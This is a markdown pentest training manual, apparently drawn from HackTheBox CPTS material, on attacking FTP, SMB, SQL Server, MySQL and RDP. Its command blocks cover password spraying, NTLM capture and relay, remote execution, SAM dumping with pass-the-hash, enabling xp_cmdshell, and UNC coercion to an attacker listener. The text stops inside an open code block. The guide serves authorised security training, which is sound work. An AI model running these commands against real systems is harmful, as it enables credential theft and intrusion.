daemon-sec-cheatsheet

network-service-attack-manual.md (55602B)

---

 ---
 title: "Network Service Attack Manual"
 description: "Long-form operator guide to service discovery, normal client interaction, misconfiguration review, credential reuse, FTP, SMB, MySQL, MSSQL, RDP, DNS, SMTP, POP3, IMAP, multi-service attack chains, evidence handling, and cleanup."
 category: pentest-workflow
 subcategory: "Companion Guides"
 order: 23
 tags: ["htb", "cpts", "network-services", "service-enumeration", "ftp", "smb", "mysql", "mssql", "rdp", "dns", "smtp", "pop3", "imap", "password-spraying", "credential-reuse", "pentest-workflow"]
 tools: ["nmap", "smbclient / smbmap / rpcclient / enum4linux-ng", "NetExec", "Impacket", "Responder", "hashcat", "Medusa / Hydra / Crowbar", "mysql / sqsh / sqlcmd", "FreeRDP", "dig / host / fierce", "smtp-user-enum / swaks / o365spray"]
 difficulty: intermediate
 updated: "2026-09-15"
 source: "vault:HackTheBox/Academy/CPTS Path/11-Attacking-Common-Services"
 ---
 
 [Condensed service card](/sheets/pentest-workflow/attacking-common-services-guide) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Service-enumeration stage](/sheets/pentest-workflow/service-enumeration)
 
 # Network Service Attack Manual `fas:ClipboardList`
 
 > [!dashboard] Field-manual scope
 > This is the long-form companion to the [condensed service card](/sheets/pentest-workflow/attacking-common-services-guide). It turns the source module into one operator workflow: establish normal access, classify the service, test the cheapest misconfigurations first, validate credentials carefully, and follow every item of loot into the next exposed service.
 
 FTP, SMB, database engines, RDP, DNS, and mail rarely fail in isolation. An anonymous file share supplies a username. That username confirms a mailbox. A message exposes a database password. The database account can read a configuration file or start a process. The useful unit of work is therefore the chain, not the port.
 
 > [!danger] Authorised targets only
 > The commands below include password spraying, NTLM capture and relay, remote command execution, file writes, session access, mail relay, and old memory-corruption exploits. Use them only in an HTB lab or an engagement that explicitly permits the technique.
 >
 > On a live engagement, confirm lockout policy before any credential attack, prove impact with the least invasive action available, record every changed setting and dropped file, and restore the target during cleanup. BlueKeep and SMBGhost testing can crash a host. Get separate approval before exploitation.
 
 ## 1 · Build the service map `fas:Terminal`
 
 Set target data once. A wrong realm, hostname, or listener address causes enough false negatives that these variables are part of the test, not mere convenience.
 
 ```bash
 export IP="10.10.10.10"
 export TARGET="files01.example.test"
 export DOMAIN="example.test"
 export DC="dc01.$DOMAIN"
 export DCIP="10.10.10.5"
 export LHOST="10.10.14.2"
 export U="operator"
 export P="<secret>"
 export EVIDENCE="evidence/$IP"
 mkdir -p "$EVIDENCE"
 ```
 
 > [!warning] Keep secrets out of the evidence directory
 > Store passwords and hashes in the engagement's approved secret store. Tool output often echoes credentials. Redact it before copying a transcript into the report bundle.
 
 Run a fast discovery pass, then a version and script pass against the ports that answered. Add an all-TCP sweep when scope and timing permit. Internal test systems often move management services away from their defaults.
 
 ```bash
 # Fast port inventory
 sudo nmap -Pn -n --top-ports 1000 --open -oA "$EVIDENCE/tcp-top" "$IP"
 
 # All TCP ports; reduce -T4 on fragile or rate-limited networks
 sudo nmap -Pn -n -p- -T4 --open -oA "$EVIDENCE/tcp-all" "$IP"
 
 # Focused service scan after extracting open ports
 sudo nmap -Pn -n -sV -sC \
   -p21,25,53,110,139,143,445,465,587,993,995,1433,3306,3389 \
   -oA "$EVIDENCE/common-services" "$IP"
 
 # UDP matters for DNS; scan it explicitly
 sudo nmap -Pn -n -sU -sV -p53 -oA "$EVIDENCE/udp-services" "$IP"
 ```
 
 ### Port and protocol triage
 
 | Service | Default port(s) | First unauthenticated checks | Authenticated payoff |
 |---|---:|---|---|
 | FTP | TCP 21 | banner, `ftp-anon`, directory listing, write test | file read/write, webroot access, bounce scan |
 | SMB | TCP 445, 139; UDP 137-138 | dialect, signing, null/guest shares, RPC | share loot, host/user enum, remote admin, hash dump |
 | MSSQL | TCP 1433; UDP 1434 | version, hostname/domain, instance discovery | data, file read, impersonation, linked servers, OS execution |
 | MySQL | TCP 3306 | version and handshake | data, `FILE` primitives, UDF path where applicable |
 | RDP | TCP 3389 | NTLM identity, TLS certificate, NLA/encryption | desktop, redirected drive, admin session operations |
 | DNS | UDP/TCP 53 | recursion, records, nameserver list, AXFR | authenticated administration is out of scope for this module |
 | SMTP | TCP 25, 465, 587 | banner, verbs, user disclosure, relay test | sending and mailbox/account discovery |
 | POP3 | TCP 110, 995 | banner, TLS, username response differences | mailbox download |
 | IMAP | TCP 143, 993 | banner, capabilities, TLS | mailbox browsing and search |
 
 > [!tip] Interpret the whole response
 > A certificate subject can disclose a host or domain. An NTLM challenge can disclose the NetBIOS domain. An SMTP banner may name the mail product. SMB signing status determines whether an NTLM relay path is plausible. Save those details before authentication changes what the service returns.
 
 ## 2 · Model the attack path
 
 The source module uses four questions for any vulnerability. This guide renames them as an operator worksheet:
 
 1. **Entry:** Which field, file, protocol message, library, API, or configuration value can you influence?
 2. **Handler:** Which parser, function, service component, or business rule consumes it, and what assumption can fail?
 3. **Security context:** Which operating-system account, database role, group, policy, or container identity runs the handler?
 4. **Effect:** Does the result reach a local file, local process, database row, another host, or an outbound connection?
 
 <figure class="flow plate corners">
   <figcaption class="flow__cap"><span class="flow__kind">Attack path model</span><span class="flow__dir">LR</span></figcaption>
   <div class="flow__body">
     <svg class="flow-svg" viewBox="0 0 1080 200" role="img" aria-label="Entry to handler to security context to effect, with the effect feeding a second cycle back to entry">
       <path class="fedge" d="M255,82 L293,82" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M515,82 L553,82" marker-end="url(#flow-arrow)" />
       <path class="fedge" d="M775,82 L813,82" marker-end="url(#flow-arrow)" />
       <path class="fedge is-back" d="M925,106 L925,172 L145,172 L145,108" marker-end="url(#flow-arrow)" />
       <g class="fnode is-entry"><rect class="fnode__box" x="35" y="58" width="220" height="48" /><text class="fnode__label" x="145" y="79" text-anchor="middle">Entry<tspan class="sub" x="145" dy="15">input, file, config, library</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="295" y="58" width="220" height="48" /><text class="fnode__label" x="405" y="79" text-anchor="middle">Handler<tspan class="sub" x="405" dy="15">parser, function, service logic</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="555" y="58" width="220" height="48" /><text class="fnode__label" x="665" y="79" text-anchor="middle">Security context<tspan class="sub" x="665" dy="15">account, group, role, policy</tspan></text></g>
       <g class="fnode"><rect class="fnode__box" x="815" y="58" width="220" height="48" /><text class="fnode__label" x="925" y="79" text-anchor="middle">Effect<tspan class="sub" x="925" dy="15">file, process, data, network</tspan></text></g>
       <g class="felabel"><rect class="felabel__box" x="463" y="164" width="144" height="16" /><text class="felabel__text" x="535" y="175" text-anchor="middle">feeds a second cycle</text></g>
     </svg>
   </div>
 </figure>
 
 Most exploit chains contain two passes through this model. The first discloses data or creates a foothold. Its output becomes the entry for the second pass, which reaches code execution or a more privileged identity.
 
 ### Worked model: Log4Shell
 
 | Cycle | Entry | Handler | Security context | Effect |
 |---|---|---|---|---|
 | Initiation | A crafted string reaches a logged value such as an HTTP header | A vulnerable Log4j version interprets the lookup instead of recording plain text | The Java application's account | An outbound lookup to attacker-controlled infrastructure |
 | Trigger | The returned remote content becomes new input | The application loads or executes it | The same application account | Code execution and an outbound session |
 
 The model keeps version research tied to impact. A remotely reachable parser bug in a low-privilege sandbox and the same bug in a root-owned daemon do not have the same result. Record the handler and security context before assigning severity.
 
 ## 3 · Work like a legitimate client first `fas:Terminal`
 
 Normal interaction exposes permissions, object names, response codes, and protocol behavior that scanners often flatten. Learn the client's verbs before testing abuse.
 
 ### SMB from Windows command prompt
 
 ```batch
 :: One-off UNC browse
 dir \\%IP%\Finance\
 
 :: Map a share with an explicit account
 net use N: \\%IP%\Finance /user:EXAMPLE\operator *
 
 :: Inventory, filename search, and content search
 dir N: /a-d /s /b | find /c ":\"
 dir N:\*cred* /s /b
 findstr /s /i /m "password secret token key connection" N:\*.*
 
 :: Disconnect after collection
 net use N: /delete
 ```
 
 Passing `*` makes `net use` prompt for the password. This keeps the secret out of the command line. Count files before recursive content searches so a large share does not turn into an uncontrolled collection job.
 
 ### SMB from PowerShell
 
 ```powershell
 $cred = Get-Credential 'EXAMPLE\operator'
 New-PSDrive -Name N -Root '\\10.10.10.10\Finance' -PSProvider FileSystem -Credential $cred
 
 (Get-ChildItem N:\ -File -Recurse -ErrorAction SilentlyContinue | Measure-Object).Count
 Get-ChildItem N:\ -File -Recurse -Include '*cred*','*.config','*.ini','*.kdbx','*.ps1','*.xml'
 Get-ChildItem N:\ -File -Recurse -ErrorAction SilentlyContinue |
   Select-String -Pattern 'password|secret|token|connection string' -List
 
 Remove-PSDrive N
 ```
 
 `Get-ChildItem` emits objects, so size, extension, timestamp, and path filters can be applied before `Select-String`. That matters on production shares where blindly opening every file is slow and noisy.
 
 ### SMB from Linux
 
 ```bash
 # Interactive client; -N attempts a null session
 smbclient -N -L "//$IP"
 smbclient "//$IP/Finance" -U 'EXAMPLE/operator'
 
 # Mount with a protected credentials file
 sudo mkdir -p /mnt/finance
 chmod 600 /tmp/finance.creds
 sudo mount -t cifs "//$IP/Finance" /mnt/finance \
   -o credentials=/tmp/finance.creds,ro
 
 find /mnt/finance -type f \( -iname '*cred*' -o -iname '*.config' -o -iname '*.ini' -o -iname '*.kdbx' \)
 grep -RIniE 'password|secret|token|connection.?string' /mnt/finance 2>/dev/null
 
 sudo umount /mnt/finance
 ```
 
 The credentials file uses three lines: `username=operator`, `password=<secret>`, and `domain=EXAMPLE`. Start with a read-only mount. Remount read-write only when scope permits modification and a write primitive matters to the finding.
 
 ### Database clients
 
 ```bash
 # MySQL prompts for the password
 mysql -h "$IP" -u "$U" -p
 
 # MSSQL with SQL authentication
 sqsh -S "$IP" -U "$U" -P "$P"
 
 # Impacket supports password, NTLM hash, and Kerberos workflows
 impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth
 impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth -hashes ":<NT_HASH>"
 impacket-mssqlclient -k -no-pass "$DOMAIN/$U@$TARGET"
 ```
 
 On Windows, use `sqlcmd` for MSSQL and `mysql.exe` for MySQL. DBeaver is useful when the engagement allows a GUI and you need to inspect several database engines, but capture the executed SQL separately so the work remains reproducible.
 
 ### Mail clients
 
 Once credentials work, an IMAP-capable client such as Evolution can search headers, bodies, and attachments more reliably than a raw socket session. Record server, port, TLS mode, and authentication method. Avoid synchronising an entire mailbox when a scoped server-side search will answer the question.
 
 ## 4 · Test configuration before exploits
 
 The same four configuration failures recur across all of these protocols:
 
 | Failure | What to test | Evidence to retain | Typical impact |
 |---|---|---|---|
 | Factory or weak credentials | vendor defaults, blank passwords, predictable test accounts, approved spray candidates | product/version, exact account class, accepted auth path | unauthorised service access |
 | Anonymous or guest access | FTP anonymous, SMB null/guest, exposed mail verbs | listing or read-only object that proves access | data disclosure or write access |
 | Excessive rights | share ACL, database role, service account, impersonation grant | effective permissions and a minimal read/write/execute proof | lateral movement or code execution |
 | Unneeded defaults | samples, debug endpoints, legacy protocols, open relay, exposed admin interfaces | banner, response, configuration state | enlarged attack surface |
 
 ### Credential attack order
 
 1. Attempt anonymous, null, or guest access where the protocol supports it.
 2. Check a small, product-specific default list against the exact fingerprint.
 3. Test credentials recovered from the target against the service that exposed them.
 4. Reuse confirmed credentials across the other in-scope services and hosts.
 5. Spray one approved password across a known user list, then wait for the interval in the rules of engagement.
 6. Run a per-account wordlist only in a lab or when the lockout and availability risk is explicitly accepted.
 
 > [!warning] Lockout control
 > Discover domain and local account policies before spraying. A single host can validate both domain and local users, and `--local-auth` changes which account database NetExec targets. Count attempts per identity across every protocol; lockout counters may be shared by SMB, RDP, mail, and web authentication.
 
 ### Evidence loop
 
 | Phase | Operator question | Minimal proof |
 |---|---|---|
 | Discovery | What answered and what identity did it disclose? | scan and banner |
 | Exposure | What is visible without a credential? | share, record, capability, or directory name |
 | Authentication | Which account and realm worked? | successful login without recording the secret |
 | Authorisation | What can that identity read, write, or execute? | a harmless query, listing, or test artefact |
 | Propagation | Which new host, user, or secret should be tested next? | entry in the target/credential matrix |
 
 ## 5 · Turn loot into a credential graph `fas:MagnifyingGlass`
 
 Strings that look trivial can connect two services. Treat filenames, mailbox senders, database owners, document metadata, scheduled-task paths, and share comments as candidate identities.
 
 ```bash
 # Search a collected directory without printing binary bodies
 find loot -type f -printf '%TY-%Tm-%Td %TH:%TM\t%s\t%p\n' | sort
 rg -n -i --hidden \
   -g '!*.jpg' -g '!*.png' -g '!*.gif' -g '!*.pdf' \
   'pass(word)?|secret|token|api.?key|connection.?string|user(name)?|server=' loot
 
 # Useful file classes
 find loot -type f \( \
   -iname '*.config' -o -iname '*.ini' -o -iname '*.xml' -o \
   -iname '*.yml' -o -iname '*.yaml' -o -iname '*.ps1' -o \
   -iname '*.kdbx' -o -iname '*.pem' -o -iname 'id_rsa*' \
 \) -print
 ```
 
 Maintain two small tables during the engagement.
 
 | Identity | Source | Realm | Valid services | Privilege | Last test |
 |---|---|---|---|---|---|
 | `jsmith` | anonymous FTP filename | unknown | pending | unknown | timestamp |
 
 | Host | Service | Product/version | Anonymous result | Auth result | Follow-up |
 |---|---|---|---|---|---|
 | `files01` | SMB/445 | Samba 4.x | read on `public` | pending | inspect documents |
 
 The source module's representative chain starts with an anonymous FTP filename that resembles a username. The same string fails on FTP as a password, works against mail, leads to database credentials in a message, and ends at MSSQL command execution. The first failed login did not invalidate the candidate. It only invalidated one identity-secret-service combination.
 
 ## 6 · FTP operations `fas:Terminal`
 
 FTP separates its control and data channels. Active mode asks the server to connect back to the client; passive mode has the client initiate both connections. Firewalls, NAT, and proxies often make passive mode more reliable. Standard FTP transmits credentials and content in clear text. FTPS adds TLS; SFTP is an SSH subsystem and is a different protocol.
 
 ### Discover and browse
 
 ```bash
 sudo nmap -Pn -n -sV -sC -p21 \
   --script ftp-anon,ftp-syst,ftp-bounce \
   -oA "$EVIDENCE/ftp" "$IP"
 
 ftp "$IP"
 # Name: anonymous
 # Password: blank or an arbitrary email-shaped string
 ```
 
 Useful interactive commands:
 
 ```text
 status                 show connection and transfer settings
 passive                toggle passive mode
 binary                 protect archives, databases, images, and executables
 ls / dir               list the current directory
 pwd / cd / lcd         remote path, remote change, local change
 get / mget             download one or many files
 put / mput              upload one or many files
 size / mdtm            inspect size and modification time where supported
 ```
 
 > [!tip] Switch to binary mode before collection
 > ASCII mode rewrites line endings and can corrupt archives, databases, KeePass files, and executables. Use `binary` before `get` unless the object is known to be plain text.
 
 ### Validate read and write permissions
 
 ```bash
 # lftp is easier to script and can mirror read-only content
 lftp -u anonymous, "ftp://$IP"
 
 # Inside the client, create a harmless marker only when write testing is allowed
 put ftp-write-proof.txt
 ls
 delete ftp-write-proof.txt
 ```
 
 If FTP maps to a webroot, verify the mapping with a harmless text file and an HTTP GET before discussing a server-side script. Record the exact remote path, URL, owner, and cleanup action.
 
 ### Credential testing
 
 ```bash
 medusa -h "$IP" -M ftp -u "$U" -P approved-passwords.txt -f
 hydra -L users.txt -p 'ApprovedCandidate!' "ftp://$IP"
 ```
 
 `medusa -f` stops after the first success for the host. Rate and concurrency still need to match the rules of engagement.
 
 ### FTP bounce
 
 An FTP server that accepts an arbitrary `PORT` destination can scan a network it can reach. Modern daemons usually block this.
 
 ```bash
 nmap -Pn -n -v -p80,443 \
   -b 'anonymous:guest@ftp-gateway.example.test' \
   172.17.0.2
 ```
 
 A positive result proves a network pivot and should be captured even if no open port is found. It shows that the server accepted a third-party data connection.
 
 ### CoreFTP path traversal, CVE-2022-22836
 
 Affected CoreFTP builds mishandled traversal in the HTTP PUT path. The write occurs with the service account's filesystem rights.
 
 ```bash
 curl -k --path-as-is -X PUT \
   --basic -u '<user>:<password>' \
   -H "Host: $IP" \
   --data-binary 'authorised proof' \
   "https://$IP/../../../../../../write-proof.txt"
 ```
 
 Use a harmless destination agreed in advance, confirm its contents, then delete it. `--path-as-is` prevents curl from normalising the traversal before transmission.
 
 ### FTP decision record
 
 | Observation | Meaning | Next action |
 |---|---|---|
 | Anonymous listing succeeds | unauthenticated disclosure | collect filenames and scoped files |
 | Directory is writable | integrity impact | test harmless marker and map backing path |
 | Web server exposes the same path | possible server-side execution | identify accepted script type; get approval before upload |
 | `PORT` accepts a third-party host | bounce/pivot path | scan only approved internal targets |
 | Exact vulnerable CoreFTP build | version-gated file write | validate with a removable text file |
 
 ## 7 · SMB and Windows file services `fas:Terminal`
 
 SMB carries file, printer, named-pipe, and remote-administration traffic. TCP/445 is direct-hosted SMB; TCP/139 is the older NetBIOS transport. Samba implements SMB on Unix-like systems. Share access and host administration are separate questions: a user can read a share without being a local administrator.
 
 ### Fingerprint dialect, identity, and signing
 
 ```bash
 sudo nmap -Pn -n -sV -sC -p139,445 \
   --script smb-protocols,smb2-security-mode,smb2-time,smb2-capabilities \
   -oA "$EVIDENCE/smb" "$IP"
 
 nxc smb "$IP"
 ```
 
 Record the hostname, domain/workgroup, SMB dialect, signing requirement, and time. Clock data helps diagnose Kerberos failures later. SMB signing set to optional or disabled is one prerequisite for relay to SMB; it does not prove that authentication can be coerced or that the relayed identity will have useful rights.
 
 ### Null, guest, and share enumeration
 
 ```bash
 smbclient -N -L "//$IP"
 smbmap -H "$IP"
 
 # Explicit guest and known-user checks
 smbclient -L "//$IP" -U 'guest%'
 smbclient -L "//$IP" -U "$DOMAIN/$U"
 
 # Browse and transfer
 smbclient "//$IP/public" -N
 smbmap -H "$IP" -r public
 smbmap -H "$IP" --download 'public\readme.txt'
 ```
 
 Within `smbclient`, use `recurse ON`, `prompt OFF`, and `mget *` only after reviewing the collection scope and share size. Prefer selective retrieval for evidence.
 
 ### RPC and identity enumeration
 
 ```bash
 rpcclient -U '%' "$IP"
 # enumdomusers
 # enumdomgroups
 # querydispinfo
 # getdompwinfo
 # netshareenumall
 
 enum4linux-ng -A -C "$IP"
 ```
 
 `-U '%'` supplies an empty username and password. A successful RPC null session can expose users, groups, password policy, share names, and RIDs even when file shares reject anonymous access.
 
 ### Permission and write tests
 
 ```bash
 smbmap -H "$IP" -u "$U" -p "$P"
 smbmap -H "$IP" -u "$U" -p "$P" -r Finance
 
 # Upload a non-executable marker, verify it, and remove it
 printf 'authorised write proof\n' > /tmp/smb-write-proof.txt
 smbmap -H "$IP" -u "$U" -p "$P" \
   --upload /tmp/smb-write-proof.txt 'Finance\smb-write-proof.txt'
 smbmap -H "$IP" -u "$U" -p "$P" \
   --download 'Finance\smb-write-proof.txt'
 ```
 
 Delete the remote marker through an interactive client after capture. Do not use a web shell as the first write proof.
 
 ### Password spraying with NetExec
 
 ```bash
 # Domain accounts
 nxc smb targets.txt -d "$DOMAIN" -u users.txt -p 'ApprovedCandidate!' \
   --continue-on-success
 
 # Local accounts; changes the authentication realm per host
 nxc smb targets.txt -u users.txt -p 'ApprovedCandidate!' \
   --local-auth --continue-on-success
 ```
 
 `Pwn3d!` in NetExec output means the account has administrative rights on that host under the tested protocol. A plain success still matters for shares, RPC, and credential reuse.
 
 ### Remote execution choices
 
 Use these only after confirming administrative rights and approval for code execution.
 
 ```bash
 # Service creation plus ADMIN$ upload; commonly returns SYSTEM
 impacket-psexec "$DOMAIN/administrator@$IP"
 
 # Service-based semi-interactive execution without the PsExec service binary
 impacket-smbexec "$DOMAIN/administrator@$IP"
 
 # Task Scheduler execution
 impacket-atexec "$DOMAIN/administrator@$IP" 'whoami && hostname'
 
 # NetExec command fan-out; -x is cmd.exe, -X is PowerShell
 nxc smb "$IP" -d "$DOMAIN" -u administrator -p "$P" \
   -x 'whoami && hostname' --exec-method smbexec
 ```
 
 Execution methods produce different artefacts. PsExec uploads a binary and creates a service. SMBExec creates a temporary service and redirects output through SMB. AtExec creates a scheduled task. Select the method whose changes you can account for and clean up.
 
 ### Local account hashes and pass-the-hash
 
 ```bash
 # Administrative access required
 nxc smb "$IP" -u administrator -p "$P" --sam
 impacket-secretsdump "administrator@$IP"
 
 # Reuse the NT hash without recovering the plaintext
 nxc smb "$IP" -u Administrator -H '<NT_HASH>' --local-auth
 impacket-psexec -hashes ':<NT_HASH>' "Administrator@$IP"
 ```
 
 An NT hash is an authentication secret. Store and report it like a password. The empty LM half in `-hashes ':<NT_HASH>'` is intentional.
 
 ### Logged-on users
 
 ```bash
 nxc smb '10.10.110.0/24' -d "$DOMAIN" -u "$U" -p "$P" --loggedon-users
 ```
 
 This identifies where high-value identities have active sessions. It is host enumeration, not proof that their credentials can be extracted. State the distinction in the report.
 
 ### NetNTLM capture and relay
 
 Responder answers local name-resolution broadcasts such as LLMNR and NBT-NS. A client that requests a nonexistent name may authenticate to the attack host, which yields NetNTLM challenge-response material.
 
 ```bash
 sudo responder -I tun0
 hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt
 ```
 
 For relay, disable Responder's SMB and HTTP listeners so `ntlmrelayx` can bind them, build a target list whose SMB signing is not required, and wait for or trigger an in-scope authentication event.
 
 ```bash
 nxc smb targets.txt --gen-relay-list relayable.txt
 sudo impacket-ntlmrelayx --no-http-server -smb2support -tf relayable.txt
 ```
 
 Relay requires all of the following:
 
 1. The victim must authenticate to the relay listener.
 2. The destination must accept the chosen NTLM relay path. For SMB, message signing cannot be required.
 3. The relayed identity must have permission to perform the demonstrated action.
 4. The destination must differ where protocol protections prevent reflection to the same service.
 
 Capture, crack, and relay are different findings. A captured NetNTLMv2 response is not an NT hash and cannot be used directly for standard pass-the-hash.
 
 ### SMBGhost, CVE-2020-0796
 
 SMBGhost affected SMBv3.1.1 compression handling in specific Windows 10 and Windows Server builds. The kernel-level bug can crash the target. Confirm the OS build and patch state with a scanner before considering exploitation. A version banner alone is insufficient evidence of exploitability.
 
 ### SMB decision record
 
 | Observation | Finding | Required follow-up |
 |---|---|---|
 | Null/guest share access | unauthenticated exposure | document readable and writable paths |
 | Signing not required | relay prerequisite | find an auth source and test target-side rights |
 | Valid non-admin credential | authenticated SMB access | enumerate shares, RPC, and reuse boundaries |
 | Admin-equivalent credential | remote administration | choose a minimal execution or secrets proof |
 | SAM dump | local credential compromise | test scope-limited reuse; avoid assuming domain impact |
 
 ## 8 · SQL Server and MySQL `fas:Terminal`
 
 Databases concentrate business data, application secrets, and trusted links. Separate database privilege from operating-system privilege. A SQL `sysadmin` can usually reach OS execution on MSSQL, but the process runs as the SQL Server service account. A MySQL user with `FILE` can read or write only where both MySQL policy and filesystem permissions allow it.
 
 ### Discovery and connection
 
 ```bash
 sudo nmap -Pn -n -sV -sC -p1433,3306 \
   --script ms-sql-info,ms-sql-ntlm-info,mysql-info \
   -oA "$EVIDENCE/sql" "$IP"
 
 mysql -h "$IP" -u "$U" -p
 sqsh -S "$IP" -U '.\local_sql_user' -P "$P" -h
 impacket-mssqlclient "$DOMAIN/$U@$TARGET" -windows-auth
 ```
 
 MSSQL commonly uses TCP/1433 and the SQL Browser on UDP/1434, but named instances can listen elsewhere. MySQL uses TCP/3306 by default. MSSQL may use Windows-only authentication or mixed mode, which also accepts SQL-native accounts.
 
 ### Engine inventory
 
 ```sql
 -- MySQL
 SELECT VERSION(), USER(), CURRENT_USER();
 SHOW DATABASES;
 SELECT user, host FROM mysql.user;
 USE application_db;
 SHOW TABLES;
 SHOW COLUMNS FROM users;
 SELECT * FROM users LIMIT 20;
 ```
 
 ```sql
 -- MSSQL; GO terminates a batch in sqlcmd/sqsh
 SELECT @@SERVERNAME, @@VERSION, SYSTEM_USER, USER_NAME();
 GO
 SELECT name FROM master.dbo.sysdatabases;
 GO
 SELECT name, type_desc FROM sys.server_principals;
 GO
 SELECT table_schema, table_name FROM application_db.INFORMATION_SCHEMA.TABLES;
 GO
 ```
 
 Inventory schemas and column names before selecting rows. Limit output, avoid bulk PII collection, and record why each table was queried.
 
 ### MSSQL role and permission checks
 
 ```sql
 SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
 GO
 SELECT * FROM fn_my_permissions(NULL, 'SERVER');
 GO
 SELECT permission_name, state_desc
 FROM sys.server_permissions
 WHERE grantee_principal_id = SUSER_ID();
 GO
 ```
 
 ### MSSQL impersonation
 
 ```sql
 SELECT DISTINCT grantor.name AS impersonatable_login
 FROM sys.server_permissions AS perm
 JOIN sys.server_principals AS grantor
   ON perm.major_id = grantor.principal_id
 WHERE perm.permission_name = 'IMPERSONATE'
   AND perm.grantee_principal_id = SUSER_ID();
 GO
 
 USE master;
 GO
 EXECUTE AS LOGIN = 'sa';
 GO
 SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
 GO
 REVERT;
 GO
 ```
 
 Check `SYSTEM_USER` and `IS_SRVROLEMEMBER` after every context switch. `REVERT` returns to the original login. Do not assume that permission to impersonate one principal leads to `sysadmin`; prove the role chain.
 
 ### MSSQL operating-system execution
 
 ```sql
 EXEC master..xp_cmdshell 'whoami';
 GO
 ```
 
 If `xp_cmdshell` is disabled and the account is `sysadmin`, record the original state before changing it:
 
 ```sql
 EXEC sp_configure 'show advanced options';
 GO
 EXEC sp_configure 'xp_cmdshell';
 GO
 
 EXEC sp_configure 'show advanced options', 1;
 RECONFIGURE;
 EXEC sp_configure 'xp_cmdshell', 1;
 RECONFIGURE;
 GO
 
 EXEC master..xp_cmdshell 'whoami && hostname';
 GO
 
 -- Restore the original values after validation
 EXEC sp_configure 'xp_cmdshell', 0;
 RECONFIGURE;
 EXEC sp_configure 'show advanced options', 0;
 RECONFIGURE;
 GO
 ```
 
 `xp_cmdshell` runs synchronously under the SQL Server service account or its configured proxy. Long commands can hold the database connection open. Use short identity and hostname checks as proof.
 
 ### File reads and writes
 
 ```sql
 -- MySQL policy gate
 SHOW VARIABLES LIKE 'secure_file_priv';
 SHOW GRANTS FOR CURRENT_USER();
 
 -- Read requires FILE and filesystem access
 SELECT LOAD_FILE('/etc/hosts');
 
 -- Write refuses to overwrite an existing file
 SELECT 'authorised proof'
 INTO OUTFILE '/var/lib/mysql-files/write-proof.txt';
 ```
 
 `secure_file_priv` set to a directory restricts file operations to that directory. An empty value permits unrestricted paths subject to filesystem rights. `NULL` disables these operations.
 
 ```sql
 -- MSSQL read under the service account
 SELECT BulkColumn
 FROM OPENROWSET(
   BULK N'C:\Windows\System32\drivers\etc\hosts',
   SINGLE_CLOB
 ) AS contents;
 GO
 ```
 
 MSSQL file writes through OLE Automation require administrative configuration changes. Prefer `xp_cmdshell` with a removable text marker when command execution is already approved. If OLE Automation itself is the finding, capture its original state and restore it.
 
 ### Linked-server movement
 
 ```sql
 EXEC master.dbo.sp_linkedservers;
 GO
 SELECT name, product, provider, data_source, is_linked
 FROM sys.servers;
 GO
 
 EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')')
 AT [SQL02\SQLEXPRESS];
 GO
 ```
 
 A link uses the mapping configured on the first server. Its effective identity can be weaker or stronger than the current login. Enumerate each hop and avoid claiming control of the linked host until the remote query proves the context.
 
 ### Coerce the SQL service account to authenticate
 
 ```bash
 sudo impacket-smbserver share "$PWD" -smb2support
 ```
 
 ```sql
 EXEC master..xp_dirtree '\\10.10.14.2\share\';
 GO
 EXEC master..xp_subdirs '\\10.10.14.2\share\';
 GO
 ```
 
 These stored procedures try to list a UNC path. Windows may authenticate to the listener as the SQL Server service account. An access-denied message from the procedure does not prove that authentication failed; inspect the listener output. Apply the same capture-versus-relay distinctions used in the SMB section.
 
 ### SQL decision record
 
 | Capability | MSSQL test | MySQL test | Impact boundary |
 |---|---|---|---|
 | List business data | `INFORMATION_SCHEMA.TABLES` | `SHOW TABLES` | database permissions |
 | Check admin role | `IS_SRVROLEMEMBER` | `SHOW GRANTS` | database server |
 | Change identity | `EXECUTE AS LOGIN` | role/account grants | effective DB principal |
 | Execute OS command | `xp_cmdshell` | UDF/plugin route if enabled | service account |
 | Read a file | `OPENROWSET(BULK...)` | `LOAD_FILE()` | service account + DB policy |
 | Write a file | command/OLE route | `INTO OUTFILE` | path policy + filesystem ACL |
 | Reach another server | linked servers | federated/app configuration | mapped remote identity |
 
 ## 9 · Remote Desktop operations `fas:Terminal`
 
 RDP provides an interactive Windows desktop over TCP/3389. Network Level Authentication moves credential validation before full session creation. TLS and NLA improve transport and pre-authentication behavior; weak passwords and excessive group membership remain exploitable.
 
 ### Enumerate the endpoint
 
 ```bash
 sudo nmap -Pn -n -p3389 \
   --script rdp-enum-encryption,rdp-ntlm-info \
   -oA "$EVIDENCE/rdp" "$IP"
 ```
 
 Save the certificate name, NTLM target identity, supported security layers, and NLA state. An open port does not prove that a specific account may log on through Remote Desktop Services.
 
 ### Controlled password spray
 
 ```bash
 crowbar -b rdp -s "$IP/32" -U users.txt -c 'ApprovedCandidate!'
 hydra -L users.txt -p 'ApprovedCandidate!' -t 2 -W 2 "$IP" rdp
 ```
 
 Hydra's RDP module can be unreliable under NLA and server throttling. Validate one known-good or deliberately invalid connection with a real client before treating automated failures as authoritative.
 
 ### Connect with FreeRDP
 
 ```bash
 xfreerdp /v:"$IP" /u:"$U" /d:"$DOMAIN" /p:"$P" /cert:tofu
 
 # Map a local staging directory as a remote drive named assessment
 xfreerdp /v:"$IP" /u:"$U" /d:"$DOMAIN" /p:"$P" \
   /drive:assessment,"$PWD/staging" /cert:tofu
 ```
 
 Drive, clipboard, printer, audio, and device redirection can move data in both directions. Enable only what the engagement needs. Treat the mapped drive as a transfer channel in the evidence log.
 
 ### Restricted Admin Mode and pass-the-hash
 
 Restricted Admin Mode prevents the client from sending reusable credentials to the RDP host and allows FreeRDP to authenticate with an NT hash when the target permits the mode.
 
 ```batch
 :: Enabling this remotely changes the target and requires prior admin rights
 reg add HKLM\System\CurrentControlSet\Control\Lsa ^
   /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
 ```
 
 ```bash
